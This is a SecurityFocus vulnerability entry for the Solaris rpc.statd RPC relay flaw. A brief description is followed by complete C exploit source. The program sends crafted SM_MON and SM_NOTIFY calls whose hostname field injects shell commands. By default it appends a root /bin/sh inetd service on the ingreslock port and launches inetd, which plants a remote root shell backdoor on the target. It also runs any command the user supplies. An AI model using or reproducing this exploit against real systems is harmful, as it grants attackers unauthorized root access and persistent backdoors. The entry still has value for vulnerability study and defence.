source: http://www.securityfocus.com/bid/450/info

The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to.

/* 
   Developed by some guys who don't want to goto jail when WIPO passes. :) */

/* Bug fixed on Aug 16 16:28:30 GMT 1998. */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <rpcsvc/sm_inter.h>

void 
usage(char *s) 
{
  printf ("Cache name is the hostname of the remote system.\n");
  printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  printf ("Usage: %s hostname <cachename> <command>\n", s);
  exit (0);
}

int
main (int argc, char *argv[]) 
{
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct stat_chge ntf_arg;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd;
 
  char attack[1024];

  if (argc < 3)
    usage(argv[0]);

  if (argc==4)
  	sprintf(attack, ";%s", argv[3]);
  else
	sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
 
  memset(&monreq, 0, sizeof(monreq));

  monreq.mon_id.my_id.my_name = argv[2];		
  monreq.mon_id.my_id.my_prog = (unsigned long) 100099; 
  monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  monreq.mon_id.my_id.my_proc = (unsigned long) 1;	
  monreq.mon_id.mon_name = attack;	
  monreq.priv[0] = '/';		

  memset(&ntf_arg, 0, sizeof(ntf_arg));

  ntf_arg.mon_name = attack;			
  ntf_arg.state = 1;					

  if ((hp = gethostbyname (argv[1])) == NULL) 
  {
    printf ("Couldnt resolve %s!\n", argv[1]);
    exit (-1);
  }

  target.sin_family = AF_INET;
  target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  target.sin_port = 0;
  sd = RPC_ANYSOCK;

  tm.tv_sec = 10;
  tm.tv_usec = 0;

  if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    exit (-1);
  }

  stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
    (char *)&monres, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call"); 
  else 
    printf("stat_res = %d.\n", monres.res_stat);

  stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void,
    NULL, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");

  clnt_destroy(cl);
  exit (0);
}

